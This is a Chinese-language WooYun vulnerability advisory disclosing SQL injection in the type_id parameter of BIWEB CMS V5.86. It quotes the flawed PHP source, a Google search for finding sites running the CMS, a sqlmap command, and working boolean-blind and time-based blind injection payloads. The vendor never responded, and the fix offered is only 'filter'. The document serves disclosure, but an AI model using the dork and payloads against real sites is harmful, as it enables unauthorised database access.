当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079671

漏洞标题:BIWEB开源CMS V5.86存在SQL注射

相关厂商:BIWEB

漏洞作者: 拖延症晚癌患者

提交时间:2014-10-20 11:42

修复时间:2015-01-18 11:44

公开时间:2015-01-18 11:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-20: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

0.0 新手彩笔第一次么么哒

详细说明:

biweb/cases/include/index.inc.php
23行-50行

$arrWhere = array();
$arrLink = array();
$arrWhere[] = "pass='1'";
$type_title = '';
if (!empty($_GET['type_id'])) {
$intTypeID = intval($_GET['type_id']);
$type_id = $intTypeID - 1;
$type_title = $arrMType[$type_id]['type_title'];
$objWebInit->fetchAllChildID($_REQUEST['type_id'], $arrMType, $arrChild) ;
$typeStr=implode( $arrChild['type_id'], ',');
$arrWhere[] = "type_id in ( ".$typeStr.")"; // 直接进来了
$arrLink[] = "type_id=".$intTypeID;
}
if(!empty($arrMType)){
foreach($arrMType as $k => $v){
if($v['type_id'] == intval($_GET['type_id'])){
$arrMOutput["smarty_assign"]['strTypeTitle'] = $v['type_title'];
break;
}
}
}
$strWhere = implode(' AND ',$arrWhere);
$strWhere = 'where '.$strWhere;
$arrInfoList = $objWebInit->getInfoList($strWhere,' ORDER BY topflag DESC,submit_date DESC',($intPage-1)*$arrGPage['page_size'],$arrGPage['page_size'],'id,type_id,title,submit_date,bedeck,summary,thumbnail'); // strWhere直接进入sql语句


看SQL监控,正常执行:

正常语句.png


单引号报错!

单引号报错.png


提交的SQL语句:

错误执行.png

漏洞证明:

Google一下https://www.google.com/search?q=intext%3APowered+by+BIWEB+V5.86&hl=zh-CN&gbv=2&oq=&gs_l=

Google.png


默认的URL丢sqlmap会出错,简单处理一下还原URL:/cases/index.php/type_id-0.html = /cases/index.php?type_id=0

root@kali:~# sqlmap -u "http://192.168.73.132/biweb/cases/index.php?type_id=0" -v 1 --level 5 --risk 3
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:02:48
[10:02:48] [INFO] resuming back-end DBMS 'mysql'
[10:02:48] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: type_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type_id=1) AND 1919=1919 AND (4105=4105
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=1) AND SLEEP(5) AND (4408=4408
---
[10:02:48] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[10:02:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.73.132'

修复方案:

过滤

版权声明:转载请注明来源 拖延症晚癌患者@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝